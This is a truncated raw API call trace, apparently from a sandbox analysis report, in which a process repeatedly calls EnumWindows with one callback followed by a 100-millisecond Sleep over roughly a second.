[0138.815] Sleep (dwMilliseconds=0x64) [0138.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.817] Sleep (dwMilliseconds=0x64) [0138.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.820] Sleep (dwMilliseconds=0x64) [0138.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.821] Sleep (dwMilliseconds=0x64) [0138.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.823] Sleep (dwMilliseconds=0x64) [0138.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.825] Sleep (dwMilliseconds=0x64) [0138.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.827] Sleep (dwMilliseconds=0x64) [0138.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.829] Sleep (dwMilliseconds=0x64) [0138.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.832] Sleep (dwMilliseconds=0x64) [0138.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.834] Sleep (dwMilliseconds=0x64) [0138.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.837] Sleep (dwMilliseconds=0x64) [0138.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.839] Sleep (dwMilliseconds=0x64) [0138.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.840] Sleep (dwMilliseconds=0x64) [0138.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.843] Sleep (dwMilliseconds=0x64) [0138.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.853] Sleep (dwMilliseconds=0x64) [0138.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.856] Sleep (dwMilliseconds=0x64) [0138.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.934] Sleep (dwMilliseconds=0x64) [0138.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.951] Sleep (dwMilliseconds=0x64) [0138.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.953] Sleep (dwMilliseconds=0x64) [0138.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.954] Sleep (dwMilliseconds=0x64) [0138.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.956] Sleep (dwMilliseconds=0x64) [0138.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.958] Sleep (dwMilliseconds=0x64) [0138.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.959] Sleep (dwMilliseconds=0x64) [0138.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.961] Sleep (dwMilliseconds=0x64) [0138.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.962] Sleep (dwMilliseconds=0x64) [0138.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.964] Sleep (dwMilliseconds=0x64) [0138.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0138.995] Sleep (dwMilliseconds=0x64) [0139.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.069] Sleep (dwMilliseconds=0x64) [0139.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.103] Sleep (dwMilliseconds=0x64) [0139.108] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.108] Sleep (dwMilliseconds=0x64) [0139.110] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.110] Sleep (dwMilliseconds=0x64) [0139.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.112] Sleep (dwMilliseconds=0x64) [0139.113] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.113] Sleep (dwMilliseconds=0x64) [0139.114] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.115] Sleep (dwMilliseconds=0x64) [0139.116] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.116] Sleep (dwMilliseconds=0x64) [0139.117] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.118] Sleep (dwMilliseconds=0x64) [0139.119] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.119] Sleep (dwMilliseconds=0x64) [0139.120] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.121] Sleep (dwMilliseconds=0x64) [0139.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.122] Sleep (dwMilliseconds=0x64) [0139.123] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.124] Sleep (dwMilliseconds=0x64) [0139.125] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.125] Sleep (dwMilliseconds=0x64) [0139.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.127] Sleep (dwMilliseconds=0x64) [0139.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.129] Sleep (dwMilliseconds=0x64) [0139.130] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.130] Sleep (dwMilliseconds=0x64) [0139.132] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.132] Sleep (dwMilliseconds=0x64) [0139.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.133] Sleep (dwMilliseconds=0x64) [0139.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.154] Sleep (dwMilliseconds=0x64) [0139.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.156] Sleep (dwMilliseconds=0x64) [0139.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.158] Sleep (dwMilliseconds=0x64) [0139.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.159] Sleep (dwMilliseconds=0x64) [0139.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.161] Sleep (dwMilliseconds=0x64) [0139.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.163] Sleep (dwMilliseconds=0x64) [0139.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.164] Sleep (dwMilliseconds=0x64) [0139.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.166] Sleep (dwMilliseconds=0x64) [0139.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.167] Sleep (dwMilliseconds=0x64) [0139.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.170] Sleep (dwMilliseconds=0x64) [0139.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.172] Sleep (dwMilliseconds=0x64) [0139.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.174] Sleep (dwMilliseconds=0x64) [0139.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.176] Sleep (dwMilliseconds=0x64) [0139.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.178] Sleep (dwMilliseconds=0x64) [0139.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.179] Sleep (dwMilliseconds=0x64) [0139.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.181] Sleep (dwMilliseconds=0x64) [0139.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.182] Sleep (dwMilliseconds=0x64) [0139.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.184] Sleep (dwMilliseconds=0x64) [0139.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.186] Sleep (dwMilliseconds=0x64) [0139.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.187] Sleep (dwMilliseconds=0x64) [0139.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.189] Sleep (dwMilliseconds=0x64) [0139.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.191] Sleep (dwMilliseconds=0x64) [0139.193] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.193] Sleep (dwMilliseconds=0x64) [0139.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.195] Sleep (dwMilliseconds=0x64) [0139.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.196] Sleep (dwMilliseconds=0x64) [0139.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.198] Sleep (dwMilliseconds=0x64) [0139.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.200] Sleep (dwMilliseconds=0x64) [0139.204] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.204] Sleep (dwMilliseconds=0x64) [0139.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.206] Sleep (dwMilliseconds=0x64) [0139.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.208] Sleep (dwMilliseconds=0x64) [0139.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.210] Sleep (dwMilliseconds=0x64) [0139.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.212] Sleep (dwMilliseconds=0x64) [0139.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.214] Sleep (dwMilliseconds=0x64) [0139.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.216] Sleep (dwMilliseconds=0x64) [0139.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.217] Sleep (dwMilliseconds=0x64) [0139.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.219] Sleep (dwMilliseconds=0x64) [0139.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.220] Sleep (dwMilliseconds=0x64) [0139.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.222] Sleep (dwMilliseconds=0x64) [0139.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.224] Sleep (dwMilliseconds=0x64) [0139.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.225] Sleep (dwMilliseconds=0x64) [0139.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.227] Sleep (dwMilliseconds=0x64) [0139.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.228] Sleep (dwMilliseconds=0x64) [0139.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.230] Sleep (dwMilliseconds=0x64) [0139.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.231] Sleep (dwMilliseconds=0x64) [0139.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.233] Sleep (dwMilliseconds=0x64) [0139.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.235] Sleep (dwMilliseconds=0x64) [0139.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.237] Sleep (dwMilliseconds=0x64) [0139.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.240] Sleep (dwMilliseconds=0x64) [0139.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.242] Sleep (dwMilliseconds=0x64) [0139.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.244] Sleep (dwMilliseconds=0x64) [0139.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.245] Sleep (dwMilliseconds=0x64) [0139.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.248] Sleep (dwMilliseconds=0x64) [0139.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.250] Sleep (dwMilliseconds=0x64) [0139.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.252] Sleep (dwMilliseconds=0x64) [0139.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.253] Sleep (dwMilliseconds=0x64) [0139.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.255] Sleep (dwMilliseconds=0x64) [0139.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.256] Sleep (dwMilliseconds=0x64) [0139.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.258] Sleep (dwMilliseconds=0x64) [0139.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.260] Sleep (dwMilliseconds=0x64) [0139.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.262] Sleep (dwMilliseconds=0x64) [0139.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.265] Sleep (dwMilliseconds=0x64) [0139.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.267] Sleep (dwMilliseconds=0x64) [0139.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.270] Sleep (dwMilliseconds=0x64) [0139.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.271] Sleep (dwMilliseconds=0x64) [0139.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.273] Sleep (dwMilliseconds=0x64) [0139.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.276] Sleep (dwMilliseconds=0x64) [0139.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.278] Sleep (dwMilliseconds=0x64) [0139.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.280] Sleep (dwMilliseconds=0x64) [0139.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.281] Sleep (dwMilliseconds=0x64) [0139.283] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.283] Sleep (dwMilliseconds=0x64) [0139.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.285] Sleep (dwMilliseconds=0x64) [0139.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.286] Sleep (dwMilliseconds=0x64) [0139.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.288] Sleep (dwMilliseconds=0x64) [0139.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.290] Sleep (dwMilliseconds=0x64) [0139.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.291] Sleep (dwMilliseconds=0x64) [0139.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.294] Sleep (dwMilliseconds=0x64) [0139.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.296] Sleep (dwMilliseconds=0x64) [0139.297] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.297] Sleep (dwMilliseconds=0x64) [0139.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.299] Sleep (dwMilliseconds=0x64) [0139.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.301] Sleep (dwMilliseconds=0x64) [0139.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.303] Sleep (dwMilliseconds=0x64) [0139.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.305] Sleep (dwMilliseconds=0x64) [0139.306] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.307] Sleep (dwMilliseconds=0x64) [0139.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.308] Sleep (dwMilliseconds=0x64) [0139.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.310] Sleep (dwMilliseconds=0x64) [0139.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.313] Sleep (dwMilliseconds=0x64) [0139.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.315] Sleep (dwMilliseconds=0x64) [0139.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.316] Sleep (dwMilliseconds=0x64) [0139.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.318] Sleep (dwMilliseconds=0x64) [0139.320] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.320] Sleep (dwMilliseconds=0x64) [0139.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.322] Sleep (dwMilliseconds=0x64) [0139.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.324] Sleep (dwMilliseconds=0x64) [0139.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.326] Sleep (dwMilliseconds=0x64) [0139.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.328] Sleep (dwMilliseconds=0x64) [0139.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.330] Sleep (dwMilliseconds=0x64) [0139.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.332] Sleep (dwMilliseconds=0x64) [0139.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.334] Sleep (dwMilliseconds=0x64) [0139.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.335] Sleep (dwMilliseconds=0x64) [0139.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.337] Sleep (dwMilliseconds=0x64) [0139.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.338] Sleep (dwMilliseconds=0x64) [0139.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.340] Sleep (dwMilliseconds=0x64) [0139.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.341] Sleep (dwMilliseconds=0x64) [0139.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.343] Sleep (dwMilliseconds=0x64) [0139.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.344] Sleep (dwMilliseconds=0x64) [0139.346] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.346] Sleep (dwMilliseconds=0x64) [0139.348] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.348] Sleep (dwMilliseconds=0x64) [0139.351] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.352] Sleep (dwMilliseconds=0x64) [0139.353] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.353] Sleep (dwMilliseconds=0x64) [0139.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.355] Sleep (dwMilliseconds=0x64) [0139.356] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.356] Sleep (dwMilliseconds=0x64) [0139.358] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.358] Sleep (dwMilliseconds=0x64) [0139.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.359] Sleep (dwMilliseconds=0x64) [0139.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.361] Sleep (dwMilliseconds=0x64) [0139.362] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.363] Sleep (dwMilliseconds=0x64) [0139.364] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.364] Sleep (dwMilliseconds=0x64) [0139.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.366] Sleep (dwMilliseconds=0x64) [0139.367] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.368] Sleep (dwMilliseconds=0x64) [0139.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.369] Sleep (dwMilliseconds=0x64) [0139.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.371] Sleep (dwMilliseconds=0x64) [0139.372] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.373] Sleep (dwMilliseconds=0x64) [0139.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.374] Sleep (dwMilliseconds=0x64) [0139.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.394] Sleep (dwMilliseconds=0x64) [0139.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.396] Sleep (dwMilliseconds=0x64) [0139.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.398] Sleep (dwMilliseconds=0x64) [0139.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.400] Sleep (dwMilliseconds=0x64) [0139.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.402] Sleep (dwMilliseconds=0x64) [0139.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.405] Sleep (dwMilliseconds=0x64) [0139.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.406] Sleep (dwMilliseconds=0x64) [0139.408] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.408] Sleep (dwMilliseconds=0x64) [0139.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.410] Sleep (dwMilliseconds=0x64) [0139.412] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.412] Sleep (dwMilliseconds=0x64) [0139.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.414] Sleep (dwMilliseconds=0x64) [0139.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.415] Sleep (dwMilliseconds=0x64) [0139.417] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.417] Sleep (dwMilliseconds=0x64) [0139.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.419] Sleep (dwMilliseconds=0x64) [0139.420] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.420] Sleep (dwMilliseconds=0x64) [0139.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.422] Sleep (dwMilliseconds=0x64) [0139.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.423] Sleep (dwMilliseconds=0x64) [0139.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.425] Sleep (dwMilliseconds=0x64) [0139.426] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.426] Sleep (dwMilliseconds=0x64) [0139.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.430] Sleep (dwMilliseconds=0x64) [0139.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.432] Sleep (dwMilliseconds=0x64) [0139.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.434] Sleep (dwMilliseconds=0x64) [0139.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.435] Sleep (dwMilliseconds=0x64) [0139.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.437] Sleep (dwMilliseconds=0x64) [0139.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.438] Sleep (dwMilliseconds=0x64) [0139.439] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.440] Sleep (dwMilliseconds=0x64) [0139.441] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.441] Sleep (dwMilliseconds=0x64) [0139.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.443] Sleep (dwMilliseconds=0x64) [0139.444] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.444] Sleep (dwMilliseconds=0x64) [0139.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.446] Sleep (dwMilliseconds=0x64) [0139.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.448] Sleep (dwMilliseconds=0x64) [0139.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.450] Sleep (dwMilliseconds=0x64) [0139.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.452] Sleep (dwMilliseconds=0x64) [0139.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.454] Sleep (dwMilliseconds=0x64) [0139.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.456] Sleep (dwMilliseconds=0x64) [0139.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.458] Sleep (dwMilliseconds=0x64) [0139.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.459] Sleep (dwMilliseconds=0x64) [0139.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.462] Sleep (dwMilliseconds=0x64) [0139.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.463] Sleep (dwMilliseconds=0x64) [0139.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.465] Sleep (dwMilliseconds=0x64) [0139.467] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.467] Sleep (dwMilliseconds=0x64) [0139.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.469] Sleep (dwMilliseconds=0x64) [0139.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.542] Sleep (dwMilliseconds=0x64) [0139.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.544] Sleep (dwMilliseconds=0x64) [0139.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.545] Sleep (dwMilliseconds=0x64) [0139.546] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.547] Sleep (dwMilliseconds=0x64) [0139.548] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.548] Sleep (dwMilliseconds=0x64) [0139.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.550] Sleep (dwMilliseconds=0x64) [0139.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.551] Sleep (dwMilliseconds=0x64) [0139.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.553] Sleep (dwMilliseconds=0x64) [0139.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.556] Sleep (dwMilliseconds=0x64) [0139.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.558] Sleep (dwMilliseconds=0x64) [0139.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.560] Sleep (dwMilliseconds=0x64) [0139.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.561] Sleep (dwMilliseconds=0x64) [0139.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.563] Sleep (dwMilliseconds=0x64) [0139.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.564] Sleep (dwMilliseconds=0x64) [0139.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.566] Sleep (dwMilliseconds=0x64) [0139.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.567] Sleep (dwMilliseconds=0x64) [0139.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.569] Sleep (dwMilliseconds=0x64) [0139.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.570] Sleep (dwMilliseconds=0x64) [0139.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.572] Sleep (dwMilliseconds=0x64) [0139.573] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.573] Sleep (dwMilliseconds=0x64) [0139.575] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.575] Sleep (dwMilliseconds=0x64) [0139.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.576] Sleep (dwMilliseconds=0x64) [0139.577] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.578] Sleep (dwMilliseconds=0x64) [0139.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.579] Sleep (dwMilliseconds=0x64) [0139.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.581] Sleep (dwMilliseconds=0x64) [0139.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.582] Sleep (dwMilliseconds=0x64) [0139.583] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.584] Sleep (dwMilliseconds=0x64) [0139.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.585] Sleep (dwMilliseconds=0x64) [0139.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.587] Sleep (dwMilliseconds=0x64) [0139.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.588] Sleep (dwMilliseconds=0x64) [0139.589] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.590] Sleep (dwMilliseconds=0x64) [0139.591] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.591] Sleep (dwMilliseconds=0x64) [0139.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0139.593] Sleep (dwMilliseconds=0x64) [0139.594] EnumWindows (lpEnumFunc=0x423dd0, 